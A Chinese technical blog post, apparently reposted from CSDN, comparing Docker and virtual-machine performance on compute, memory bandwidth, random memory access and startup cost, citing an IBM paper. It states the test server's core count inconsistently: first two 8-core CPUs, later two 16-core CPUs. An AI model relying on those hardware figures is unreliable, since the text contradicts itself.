在上一节我们从原理的角度推测docker应当在CPU和内存的利用效率上比虚拟机高。在这一节我们将根据IBM发表的论文给出的数据进行分析。以下的数据均是在IBM x3650 M4服务器测得,其主要的硬件参数是: 
(1)2颗英特尔xeon E5-2655 处理器,主频2.4-3.0 GHz。每颗处理器有8个核,因此总共有16个核。
(2)256 GB RAM.
在测试中是通过运算Linpack程序来获得计算能力数据的。结果如下图所示: 
dvk2.png
图中从左往右分别是物理机、docker和虚拟机的计算能力数据。可见docker相对于物理机其计算能力几乎没有损耗,而虚拟机对比物理机则有着非常明显的损耗。虚拟机的计算能力损耗在50%左右。 
为什么会有这么大的性能损耗呢?一方面是因为虚拟机增加了一层虚拟硬件层,运行在虚拟机上的应用程序在进行数值计算时是运行在Hypervisor虚拟的CPU上的;另外一方面是由于计算程序本身的特性导致的差异。虚拟机虚拟的cpu架构不同于实际cpu架构,数值计算程序一般针对特定的cpu架构有一定的优化措施,虚拟化使这些措施作废,甚至起到反效果。
比如对于本次实验的平台,实际的CPU架构是2块物理CPU,每块CPU拥有16个核,共32个核,采用的是NUMA架构;而虚拟机则将CPU虚拟化成一块拥有32个核的CPU。这就导致了计算程序在进行计算时无法根据实际的CPU架构进行优化,大大减低了计算效率。


docker与虚拟机内存访问效率比较


内存访问效率的比较相对比较复杂一点,主要是内存访问有多种场景: 
(1)大批量的,连续地址块的内存数据读写。这种测试环境下得到的性能数据是内存带宽,性能瓶颈主要在内存芯片的性能上; 
(2)随机内存访问性能。这种测试环境下的性能数据主要与内存带宽、cache的命中率和虚拟地址与物理地址转换的效率等因素有关。
以下将主要针对这两种内存访问场景进行分析。在分析之前我们先概要说明一下docker和虚拟机的内存访问模型差异。下图是docker与虚拟机内存访问模型: 
dvk3.png
可见在应用程序内存访问上,虚拟机的应用程序要进行2次的虚拟内存到物理内存的映射,读写内存的代价比docker的应用程序高。
下图是场景(1)的测试数据,即内存带宽数据。左图是程序运行在一块CPU(即8核)上的数据,右图是程序运行在2块CPU(即16核)上的数据。单位均为GB/s。 
dvk4.png

dvk5.png
从图中数据可以看出,在内存带宽性能上docker与虚拟机的性能差异并不大。这是因为在内存带宽测试中,读写的内存地址是连续的,大批量的,内核对这种操作会进行优化(数据预存取)。因此虚拟内存到物理内存的映射次数比较少,性能瓶颈主要在物理内存的读写速度上,因此这种情况docker和虚拟机的测试性能差别不大; 
内存带宽测试中docker与虚拟机内存访问性能差异不大的原因是由于内存带宽测试中需要进行虚拟地址到物理地址的映射次数比较少。根据这个假设,我们推测,当进行随机内存访问测试时这两者的性能差距将会变大,因为随机内存访问测试中需要进行虚拟内存地址到物理内存地址的映射次数将会变多。
结果如下图所示:
dvk6.png

dvk7.png
1图是程序运行在一个CPU上的数据,右图是程序运行在2块CPU上的数据。从左图可以看出,确实如我们所预测的,在随机内存访问性能上容器与虚拟机的性能差距变得比较明显,容器的内存访问性能明显比虚拟机优秀;但出乎我们意料的是在2块CPU上运行测试程序时容器与虚拟机的随机内存访问性能的差距却又变的不明显。
针对这个现象,IBM的论文给出了一个合理解释。这是因为当有2块CPU同时对内存进行访问时,内存读写的控制将会变得比较复杂,因为两块CPU可能同时读写同一个地址的数据,需要对内存数据进行一些同步操作,从而导致内存读写性能的损耗。这种损耗即使对于物理机也是存在的,可以看出右图的内存访问性能数据是低于左图的。2块CPU对内存读写性能的损耗影响是非常大的,这个损耗占据的比例远大于虚拟机和docker由于内存访问模型的不同产生的差异,因此在右图中docker与虚拟机的随机内存访问性能上我们看不出明显差异。


docker与虚拟机启动时间及资源耗费比较


上面两个小节主要从运行在docker里的程序和运行在虚拟机里的程序进行性能比较。
事实上,docker之所以如此受到开发者关注的另外一个重要原因是启动docker的系统代价比启动一台虚拟机的代价要低得多:无论从启动时间还是从启动资源耗费角度来说。docker直接利用宿主机的系统内核,避免了虚拟机启动时所需的系统引导时间和操作系统运行的资源消耗。利用docker能在几秒钟之内启动大量的容器,这是虚拟机无法办到的。快速启动、低系统资源消耗的优点使docker在弹性云平台和自动运维系统方面有着很好的应用前景。


docker的劣势


前面的内容主要论述docker相对于虚拟机的优势,但docker也不是完美的系统。相对于虚拟机,docker还存在着以下几个缺点:
1.资源隔离方面不如虚拟机,docker是利用cgroup实现资源限制的,只能限制资源消耗的最大值,而不能隔绝其他程序占用自己的资源。
2.安全性问题。docker目前并不能分辨具体执行指令的用户,只要一个用户拥有执行docker的权限,那么他就可以对docker的容器进行所有操作,不管该容器是否是由该用户创建。比如A和B都拥有执行docker的权限,由于docker的server端并不会具体判断docker cline是由哪个用户发起的,A可以删除B创建的容器,存在一定的安全风险。 
3.docker目前还在版本的快速更新中,细节功能调整比较大。一些核心模块依赖于高版本内核,存在版本兼容问题


原文作者:chenbiaolong
 
 
分享原文地址:http://blog.csdn.net/cbl709/article/details/43955687


Docker 是个伟大的项目,它彻底释放了虚拟化的威力,极大降低了云计算资源供应的成本,同时让应用的分发、测试、部署和分发都变得前所未有的高效和轻松!